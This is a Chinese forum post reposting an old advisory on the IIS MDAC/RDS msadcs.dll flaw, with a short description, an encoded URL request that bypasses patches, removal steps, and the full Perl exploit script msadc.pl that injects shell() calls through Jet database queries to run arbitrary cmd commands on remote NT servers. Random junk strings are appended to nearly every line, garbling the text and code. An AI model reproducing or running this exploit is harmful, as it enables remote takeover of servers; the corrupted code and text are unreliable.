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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) FN`kSTm*0!  
B "zg85 e  
涉及程序: <!(n5y_  
Microsoft NT server CHw_?#h  
7 ~8Fs@  
描述: %9Fg1LH42r  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 =e/4Gs0*  
0U*"OSpF  
详细: O~OWRJ@p  
如果你没有时间读详细内容的话,就删除: A3pQ?d[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll DkKD~  
有关的安全问题就没有了。  /?xn  
9cj-v}5j  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 HKw:fGt/o^  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ZSt ww{Z  
关于利用ODBC远程漏洞的描述,请参看: B8Zd#.6]  
v>!}cB/6  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ClZyQ=UAD  
ppP?1Il`kb  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 E8<i PTJs  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp P`9A?aG.Z  
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这里不再论述。 L1 VTq9[3  
bLF0MVLM  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: v[3sg2.  
i}"JCqo2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset DP]|}8~L  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! #[yl;1)  
vJUB;hD  
/n:fxdhe  
#将下面这段保存为txt文件,然后: "perl -x 文件名" rNC3h"i\  
ra2q. H  
#!perl kl"Cm`b)  
# )d`$2D&iY  
# MSADC/RDS 'usage' (aka exploit) script O_Q,!&*6  
# iH0c1}<k$  
# by rain.forest.puppy R7E"7"M10  
# gNQJ:!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me }!Lr!eALr  
# beta test and find errors! h!~yYNQ"  
lM,:c.R  
use Socket; use Getopt::Std; x&Rp m<4  
getopts("e:vd:h:XR", \%args); y<(.,Nb8  
;f~'7RKy!G  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; %TgM-F,8  
iW~f  
if (!defined $args{h} && !defined $args{R}) { vy?YA-  
print qq~ e5KF~0`  
Usage: msadc.pl -h <host> { -d <delay> -X -v } # t Ki6u  
-h <host> = host you want to scan (ip or domain) ,_zt? o\  
-d <seconds> = delay between calls, default 1 second Mv =;+?z!  
-X = dump Index Server path table, if available uu.Nq*3  
-v = verbose e)"cm;BJ^P  
-e = external dictionary file for step 5 &,7(Wab  
m 0PF"(  
Or a -R will resume a command session oX ,M;;Yq  
^umAfk5r?H  
~; exit;} rnE'gH(V'  
p2^OQK  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; )&-E@% \  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 'WCTjTob/  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} GXVGU-br  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); >,vuC4v-  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {p iS3xBi  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Z4' v  
E}2[P b)e  
if (!defined $args{R}){ $ret = &has_msadc; h+(s/o?\  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} blv6  
f}eVfAf  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" B.#0kjA}  
. "cmd /c "; Z5A<TC/:  
$in=<STDIN>; chomp $in; w2[R&hJ  
$command="cmd /c " . $in ; 74#@F{w  
Lp=B? H  
if (defined $args{R}) {&load; exit;} DYK|"@  
-NeF6  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; UxtZBNn8  
&try_btcustmr; #cb6~AH  
yl%F<5  
print "\nStep 2: Trying to make our own DSN..."; XZGyhX7  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; BW 7[JD  
'QU ?O[CH  
print "\nStep 3: Trying known DSNs..."; W9~datIh>  
&known_dsn; _A r ,]v  
;@hP*7Lm  
print "\nStep 4: Trying known .mdbs..."; Nl _Jp:8s  
&known_mdb; lc7]=,qyF  
qa0Zgn5q  
if (defined $args{e}){ $49tV?q5  
print "\nStep 5: Trying dictionary of DSN names..."; } _z~:{Y  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } !ZW0yCwLQ  
nE84W$\  
print "Sorry Charley...maybe next time?\n"; 9qA_5x%"%u  
exit; >2/zL.O  
mgWtjV 8  
############################################################################## 'P#I<?vB  
9nE%r\H  
sub sendraw { # ripped and modded from whisker 5hMiCod  
sleep($delay); # it's a DoS on the server! At least on mine... Q23y.^W%c  
my ($pstr)=@_; .O^|MhBJu  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || iy9]Y5b   
die("Socket problems\n"); +qec>ALAg  
if(connect(S,pack "SnA4x8",2,80,$target)){ j;.&+.  
select(S); $|=1; a\MJbBXv  
print $pstr; my @in=<S>; )Be;Zw.|  
select(STDOUT); close(S); \Y$NGB=2[  
return @in; J:a^''  
} else { die("Can't connect...\n"); }} QR)eJ5<  
-(EqBr@_  
############################################################################## v5o%y:~  
{Xj%JE[V  
sub make_header { # make the HTTP request O{V"'o  
my $msadc=<<EOT qDW/8b\^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 edQ><lz  
User-Agent: ACTIVEDATA G'Y|MCKz>  
Host: $ip we9AB_y  
Content-Length: $clen _G|6xlO  
Connection: Keep-Alive Lsdu:+-  
j>iM(8`t1  
ADCClientVersion:01.06 T5h[{J^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 =Sq7U^(>  
y8@!2O4  
--!ADM!ROX!YOUR!WORLD! sBwgl9  
Content-Type: application/x-varg Ih0GzyU*4  
Content-Length: $reqlen  ^8iy(  
ITV}f#  
EOT hGeRM4zVZZ  
; $msadc=~s/\n/\r\n/g; eu =2a>  
return $msadc;} K2QD&!4/T2  
By9/tB  
############################################################################## `*a,8M%  
i]v!o$7  
sub make_req { # make the RDS request J98K:SAR  
my ($switch, $p1, $p2)=@_; ?0x;L/d])  
my $req=""; my $t1, $t2, $query, $dsn; OZ6%AUot  
z$NLFJvy_-  
if ($switch==1){ # this is the btcustmr.mdb query tj3p71%  
$query="Select * from Customers where City=" . make_shell(); BG"6jQh  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . EA\~m*k  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 79v&6Io  
K5$ y  
elsif ($switch==2){ # this is general make table query !FO)||'[  
$query="create table AZZ (B int, C varchar(10))"; P_gQ-pF.  
$dsn="$p1";} !ktr|9Bl  
~>n<b1}W  
elsif ($switch==3){ # this is general exploit table query =6$(m}(74  
$query="select * from AZZ where C=" . make_shell(); bQ%^l#H_n'  
$dsn="$p1";} `W9_LROD  
`6/7},"9t  
elsif ($switch==4){ # attempt to hork file info from index server fCKcv |  
$query="select path from scope()"; *uIHa"  
$dsn="Provider=MSIDXS;";} ]:;gk&P  
bpzA ' g>  
elsif ($switch==5){ # bad query gS%J`X$  
$query="select"; }73H$ss:  
$dsn="$p1";} -3fvO~  
P1kd6]s  
$t1= make_unicode($query); [,dsV d  
$t2= make_unicode($dsn); :MVD83?4  
$req = "\x02\x00\x03\x00"; >Ry4Cc  
$req.= "\x08\x00" . pack ("S1", length($t1)); OQq7|dZu  
$req.= "\x00\x00" . $t1 ; F2&KTK  
$req.= "\x08\x00" . pack ("S1", length($t2)); eXYR/j<8  
$req.= "\x00\x00" . $t2 ; L`\ILJz  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 6T-(GHzfHJ  
return $req;} iAN#TCwLT7  
~4M]SX1z  
############################################################################## ,oC r6 ]  
i< ih :  
sub make_shell { # this makes the shell() statement _ |; bh  
return "'|shell(\"$command\")|'";} i[<O@Rb  
6Z$T& Ul{  
############################################################################## W +S>/`N  
`{ /tx!  
sub make_unicode { # quick little function to convert to unicode y& )z\8  
my ($in)=@_; my $out; >g?,BK@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Q_dFZ  
return $out;} P|\,kw>l  
Y4_i=}\*vf  
##############################################################################  oDC3AK&  
VbN]z:  
sub rdo_success { # checks for RDO return success (this is kludge) p"T4;QBxQ  
my (@in) = @_; my $base=content_start(@in); ZA!vxQ?P,  
if($in[$base]=~/multipart\/mixed/){ Q~9:}_@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} JwO+Dd  
return 0;} m*'#`vIbb  
%63<Iz"  
############################################################################## [\!S-:  
=X`/.:%|[  
sub make_dsn { # this makes a DSN for us /<})+=>6f  
my @drives=("c","d","e","f"); Zy'bX* s|  
print "\nMaking DSN: "; 0zd1:*KR,  
foreach $drive (@drives) { i@2?5U>h  
print "$drive: "; |y]#-T?)t  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 0iYe>u  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" xZkLN5I{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); n8?gZ` W  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |peZ`O^ ~  
return 0 if $2 eq "404"; # not found/doesn't exist 3Ry?{m^  
if($2 eq "200") { lY~xoHT;[  
foreach $line (@results) { ,Zdc  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} t~Uqsa>n@'  
} return 0;} Ei#"r\q j_  
8Hhe&B  
############################################################################## $oNkE  
!v^D j']  
sub verify_exists { { "/@,!9rJ  
my ($page)=@_; AIE)q]'Q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); &t4j px  
return $results[0];} mJT7e  
ua0k)4|  
############################################################################## Sh"} c2  
w,\Ua&>4  
sub try_btcustmr { "^u|vCqw  
my @drives=("c","d","e","f"); ZXco5,1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k -SUp8}g  
Dr;@)  
foreach $dir (@dirs) { w}'E]y2.  
print "$dir -> "; # fun status so you can see progress xQN](OKG  
foreach $drive (@drives) { |h.he_B+7  
print "$drive: "; # ditto bNqjjg  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Abj`0\  
$reqlenlen=length( "$reqlen" ); Bdq/Ohw|!  
$clen= 206 + $reqlenlen + $reqlen; 7_JK2  
)q#b^( v  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); %1#5 7-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} hX;xbl  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} KB-7]H  
VQX#P<  
############################################################################## 6OVAsmE  
$ @^n3ZQ4  
sub odbc_error { QutQG  
my (@in)=@_; my $base; PPohpdd)  
my $base = content_start(@in); Gs-'  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \ Xuu|]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j88H3bi0  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7)[4|I  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LaLA }1!  
return $in[$base+4].$in[$base+5].$in[$base+6];} I@[.W!w  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; W1Ht8uYG3  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Y2Tg>_:t   
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]e+S~me  
JK,k@RE y]  
############################################################################## JeiW z1t  
9ah,a 4  
sub verbose { "5vFa7y  
my ($in)=@_; B&tl6?7h  
return if !$verbose; $ZE OE8.\  
print STDOUT "\n$in\n";} [*,`a]z-Q  
27;*6/>,  
############################################################################## b-ZvEDCR  
/ VJ[1o^  
sub save { pTcm2-J  
my ($p1, $p2, $p3, $p4)=@_; wJ+"JQY.J+  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; x3)qK6,\  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; hMi[MB7~  
close OUT;} nE,"3X"   
_w(SHWh2  
############################################################################## ]` 3;8,  
c,e 0+  
sub load { h(>4%hF  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^f>+5G  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 514;!Q4K  
@p=<IN>; close(IN); p=eSHs{>A  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); M,6m*  
$target= inet_aton($ip) || die("inet_aton problems"); (/c9v8Pr(7  
print "Resuming to $ip ..."; U{HJNftdpm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; sHKT]^7  
if($p[1]==1) { i5|!M IY  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ?(hdV ?8)P  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 7Sr7a {  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); pnDD9u-4;  
if (rdo_success(@results)){print "Success!\n";} Cvq2UNz(R  
else { print "failed\n"; verbose(odbc_error(@results));}} "M2HiV  
elsif ($p[1]==3){ 8j8FQ!M  
if(run_query("$p[3]")){ 3TO$J  
print "Success!\n";} else { print "failed\n"; }} 3<?#*z4]_  
elsif ($p[1]==4){ I lvjS^j  
if(run_query($drvst . "$p[3]")){ <0pBu7a  
print "Success!\n"; } else { print "failed\n"; }} y&B~UeB:q  
exit;} i9W@$I,f  
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############################################################################## entO"~*EX  
A"p7N?|%  
sub create_table { s4t>/.;x  
my ($in)=@_; :rwF5  
$reqlen=length( make_req(2,$in,"") ) - 28; "5]GEzM3O  
$reqlenlen=length( "$reqlen" ); ^O4.$4t|  
$clen= 206 + $reqlenlen + $reqlen; WM:we*k8h  
my @results=sendraw(make_header() . make_req(2,$in,"")); r=<,`_@Y  
return 1 if rdo_success(@results); p)d'yj  
my $temp= odbc_error(@results); verbose($temp); ]0g<][m  
return 1 if $temp=~/Table 'AZZ' already exists/; I%;xMt Y1o  
return 0;} TDA+ rl  
b=.Ikt+y  
############################################################################## mM1\s>o  
D.4=4"qMi  
sub known_dsn { d+Pfi)+(I  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go BY6QJkI9x  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &`GQS|  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $ ^m_M.1  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); JT,8/o  
KE6[u*\  
foreach $dSn (@dsns) { H/Y ZwDx,i  
print "."; (+(YO\ng6  
next if (!is_access("DSN=$dSn")); ,J~kwJ$L  
if(create_table("DSN=$dSn")){ cl30"WK!  
print "$dSn successful\n"; PO ]z'LD  
if(run_query("DSN=$dSn")){ cYq<.A(hVj  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { yiiYq(\{  
print "Something's borked. Use verbose next time\n";}}} print "\n";} g#T8WX{(V  
#:e52=  
############################################################################## o"J}@nF  
\XhzaM   
sub is_access { %Gv8 ]Yb  
my ($in)=@_; v 4DF #O  
$reqlen=length( make_req(5,$in,"") ) - 28; ZWxq<& Cg  
$reqlenlen=length( "$reqlen" ); rhsSV3iM  
$clen= 206 + $reqlenlen + $reqlen; TnCN2#BO  
my @results=sendraw(make_header() . make_req(5,$in,"")); l+Uy  
my $temp= odbc_error(@results); >y &9!G  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); k7W7S`H  
return 0;} AMGb6enl  
]8<;,}#  
############################################################################## $-EbJ  
he;&KzEu  
sub run_query { MkF:1-=L  
my ($in)=@_; p{[Ol  
$reqlen=length( make_req(3,$in,"") ) - 28; *O+G}_}  
$reqlenlen=length( "$reqlen" ); -P^ 6b(  
$clen= 206 + $reqlenlen + $reqlen; nPD5/xW  
my @results=sendraw(make_header() . make_req(3,$in,"")); rB~x]5TH  
return 1 if rdo_success(@results); Yu>VW\Fb  
my $temp= odbc_error(@results); verbose($temp); 8S"vRR  
return 0;} MyXgp>?~T  
S1.w^Ccy  
############################################################################## Yw vX SA  
C2<!.l  
sub known_mdb { '!I^Lfz-Z  
my @drives=("c","d","e","f","g"); m\)z& hv<r  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D4?5 %s  
my $dir, $drive, $mdb; M8oI8\6[  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; CD;C z*c  
KW ]/u  
# this is sparse, because I don't know of many 4#{i  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 51u8.%{4  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", !U/iY%NE  
"\\system32\\certmdb.mdb", .;8T*  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 9# IKb:9k  
al.~[T-O+  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", w(zlHj  
"\\cfusion\\cfapps\\forums\\forums_.mdb", S~.:B2=5K  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }Zu>?U  
"\\cfusion\\cfapps\\security\\realm_.mdb", xv4_q-r[  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", sk.<|-(o  
"\\cfusion\\database\\cfexamples.mdb", <O>1Y09C/  
"\\cfusion\\database\\cfsnippets.mdb", Po#;SG#Ee  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ,W;\6"Iwx'  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", w O;\,zU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", :,X,!0pWRp  
"\\cfusion\\database\\smpolicy.mdb", 5zWxI]4d\  
"\\cfusion\\database\cypress.mdb", }SR}ET&z  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `L/kwVl  
"\\website\\cgi-win\\dbsample.mdb", o}C|N)'  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", N{U``LV  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Xt %;]1n  
); #these are just e "5S ;  
foreach $drive (@drives) { wu "6Kyu  
foreach $dir (@dirs){ P,^`|\#7  
foreach $mdb (@sysmdbs) { &`[y]E'  
print "."; ;I1}g]  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ hqd}L~o:  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `j{q$Y=AG  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ k>I[U}h  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 9=p^E#d  
} else { print "Something's borked. Use verbose next time\n"; }}}}} })rJU/  
/ldE (!^n  
foreach $drive (@drives) { G%_6" s  
foreach $mdb (@mdbs) { - |n\  
print "."; .{%~4$yu7  
if(create_table($drv . $drive . $dir . $mdb)){ lS&$86Jo(  
print "\n" . $drive . $dir . $mdb . " successful\n"; 'yuM=Pb  
if(run_query($drv . $drive . $dir . $mdb)){ :_E q(r  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; x2(!r3a  
} else { print "Something's borked. Use verbose next time\n"; }}}} .>NhC"  
} J*?BwmD'8  
20h|e+3  
############################################################################## +`O8cHx  
{h5 S=b  
sub hork_idx { ;O5p>o  
print "\nAttempting to dump Index Server tables...\n"; 6Y<'Lyg/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *u^N_y  
$reqlen=length( make_req(4,"","") ) - 28; b0|q@!z>  
$reqlenlen=length( "$reqlen" ); i>#[*.|P  
$clen= 206 + $reqlenlen + $reqlen; P{v>o,a.  
my @results=sendraw2(make_header() . make_req(4,"","")); ;`Eie2y{M  
if (rdo_success(@results)){ c |OIUc  
my $max=@results; my $c; my %d; -h+=^,  
for($c=19; $c<$max; $c++){ O) NEt  
$results[$c]=~s/\x00//g; VDq4n;p1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; k$1ya7-@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; H. UwM  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 9t:P1  
$d{"$1$2"}="";} a=}JW]  
foreach $c (keys %d){ print "$c\n"; } G66A]FIg  
} else {print "Index server doesn't seem to be installed.\n"; }} 8@S7_x  
F[uy'~;@  
############################################################################## |y=;#A  
W!|A3V35\:  
sub dsn_dict { eV$pza  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ej\EuX  
while(<IN>){ C,T9xm  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; HH =sq  
next if (!is_access("DSN=$dSn")); |_ZD[v S  
if(create_table("DSN=$dSn")){ 7A'd55I4  
print "$dSn successful\n"; rV.04m,  
if(run_query("DSN=$dSn")){ JbN@AX:%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~"F83+RDe  
print "Something's borked. Use verbose next time\n";}}} CMn&1  
print "\n"; close(IN);} cz<8Kb/XV  
NfqJ>[}I+  
############################################################################## GjlA\R^e  
P[{qp8(g  
sub sendraw2 { # ripped and modded from whisker ns`|G;1vv  
sleep($delay); # it's a DoS on the server! At least on mine... oo sbf#V  
my ($pstr)=@_; _): V7Zv  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Pl(+&k`}  
die("Socket problems\n"); n46A  
if(connect(S,pack "SnA4x8",2,80,$target)){ [C 1o9c!  
print "Connected. Getting data"; ^M36=~j  
open(OUT,">raw.out"); my @in; mv9k_7<  
select(S); $|=1; print $pstr; YYfX@`\  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} S0?4}7`A  
close(OUT); select(STDOUT); close(S); return @in; -+fbK/  
} else { die("Can't connect...\n"); }} .XD7};g  
d3Dw[4  
############################################################################## gx+bKGB`  
F)P"UQ!\  
sub content_start { # this will take in the server headers _cra_(b  
my (@in)=@_; my $c; cm^:3(yYX  
for ($c=1;$c<500;$c++) { |^&n\vXv  
if($in[$c] =~/^\x0d\x0a/){ QH%Zbt2qS  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ,'[&" Eg  
else { return $c+1; }}} :.5l9Ci4  
return -1;} # it should never get here actually >'IFr9&3  
hm#S4/=#  
############################################################################## #Hm*<s.  
xszGao'  
sub funky { .Y B}w  
my (@in)=@_; my $error=odbc_error(@in); HsrIw  
if($error=~/ADO could not find the specified provider/){ c"qaULY  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; E+wd9/;  
exit;} 3exv k  
if($error=~/A Handler is required/){ f+>l-6M+p  
print "\nServer has custom handler filters (they most likely are patched)\n"; "JI FF_  
exit;} 05et h  
if($error=~/specified Handler has denied Access/){ ZI"L\q=|0#  
print "\nServer has custom handler filters (they most likely are patched)\n"; -<rQOPH%  
exit;}} Nu !(7  
!9GJ9ZEXM  
############################################################################## c`:hEQs  
m# #( uSh  
sub has_msadc { %jaB>4.A:  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); p<>x qU  
my $base=content_start(@results); ,nn5LQ|l.j  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); `m2e *  
return 0;} 52+;j[ ]/O  
!<9sOvka{  
######################## gq9D#B  
#T\Yi|Qs#  
+Kc1a;  
解决方案: x1:#rb'  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @oC# k<  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 3f'dBn5  
7U=|>)Q0s  
拿出来充数 哈哈
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